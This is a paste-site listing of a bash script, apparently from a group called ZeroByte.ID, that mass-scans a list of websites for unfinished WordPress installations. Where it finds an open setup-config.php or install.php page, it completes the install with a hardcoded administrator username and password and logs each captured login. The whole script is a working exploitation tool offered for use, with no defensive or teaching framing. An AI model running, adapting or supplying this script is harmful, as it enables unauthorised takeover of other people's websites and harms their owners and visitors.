SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/bash | |
| 2 | ###################################################################### | |
| 3 | # Name : WP Setup & Install | |
| 4 | # Vendor : http://zerobyte.id/ | |
| 5 | # Issued on 24 March 2019 | |
| 6 | # Recoded? only changed and delete copyright? Don't be a bastard dude! | |
| 7 | ###################################################################### | |
| 8 | cyan='\033[0;36m' | |
| 9 | green='\e[92m' | |
| 10 | red='\033[0;31m' | |
| 11 | ijo="\e[92m" | |
| 12 | putih="\e[97m" | |
| 13 | ||
| 14 | banner(){
| |
| 15 | clear | |
| 16 | printf "${ijo}
| |
| 17 | ${putih}[${ijo}+${putih}] WP Setup & Install Exploiter ${putih}[${ijo}+${putih}] ${ijo}
| |
| 18 | ███╗ ██╗ ██████╗ ██╗███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ | |
| 19 | ████╗ ██║██╔════╝ ██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║ | |
| 20 | ██╔██╗ ██║██║ ███╗██║██╔██╗ ██║███████╗ ██║ ███████║██║ ██║ | |
| 21 | ██║╚██╗██║██║ ██║██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║ | |
| 22 | ██║ ╚████║╚██████╔╝██║██║ ╚████║███████║ ██║ ██║ ██║███████╗███████╗ | |
| 23 | ╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝ | |
| 24 | ${putih}Z e r o B y t e . I D
| |
| 25 | " | |
| 26 | } | |
| 27 | skuy(){
| |
| 28 | Array=('/' '/new' '/blog' '/blogs' '/demo' '/wp' '/wordpress' '/tes' '/test' '/web')
| |
| 29 | for path in "${Array[@]}"; do
| |
| 30 | skuy=$(curl -s -k --compressed --connect-timeout 5 "$site/$path/wp-admin/setup-config.php?step=0" -L) | |
| 31 | if [[ $skuy =~ 'setup-config.php?step=1' ]]; then | |
| 32 | printf "$green[+] Found Setup $site/wp-admin/setup-config.php [WP Setup & Install Exploiter - ZeroByte.ID]\n" | |
| 33 | echo "$site/wp-admin/setup-config.php" >> wp-setup.txt | |
| 34 | fi | |
| 35 | if [[ $(curl -s -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" $site/wp-admin/install.php | grep -o 'English (United States)') =~ 'English (United States)' ]]; | |
| 36 | then | |
| 37 | echo "[+] Maybe Vuln" | |
| 38 | exploit=$(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -d "weblog_title=Killer&user_name=zerobyte&admin_password=zerobyte1337&admin_password2=zerobyte1337&admin_email=$email" $site/wp-admin/install.php?step=2 | grep -o '<h1>Success!</h1>') | |
| 39 | if [[ $exploit =~ '<h1>Success!</h1>' ]]; | |
| 40 | then | |
| 41 | printf "$green[+] Sukses Install!\n" | |
| 42 | echo "$site/wp-login.php" | tee -a result_wp.txt | |
| 43 | echo "Username = zerobyte" | tee -a result_wp.txt | |
| 44 | echo "Password = zerobyte1337" | tee -a result_wp.txt | |
| 45 | else | |
| 46 | printf "$red[-] Failed\n" | |
| 47 | fi | |
| 48 | else | |
| 49 | printf "$ijo$site$path$red Not Vulnerable $ijo[WP Setup & Install Exploiter - ZeroByte.ID]\n" | |
| 50 | fi | |
| 51 | done | |
| 52 | } | |
| 53 | banner | |
| 54 | read -p "Your List : " list | |
| 55 | read -p "Your Email : " email | |
| 56 | read -p "Send Per List(10|20|30): " sending | |
| 57 | read -p "Delay(3|5|10): " waktudelay | |
| 58 | ||
| 59 | persend="$sending" | |
| 60 | delay="$waktudelay" | |
| 61 | hitung=0 | |
| 62 | ||
| 63 | IFS=$'\r\n' GLOBIGNORE='*' command eval 'list=($(cat $list))' | |
| 64 | for (( i = 0; i <"${#list[@]}"; i++ )); do
| |
| 65 | ||
| 66 | site="${list[$i]}"
| |
| 67 | ||
| 68 | ngesend=$(expr $hitung % $persend) | |
| 69 | if [[ $ngesend == 0 && $hitung > 0 ]]; then | |
| 70 | sleep $delay | |
| 71 | fi | |
| 72 | ||
| 73 | skuy & | |
| 74 | hitung=$[$hitung+1] | |
| 75 | done | |
| 76 | wait |
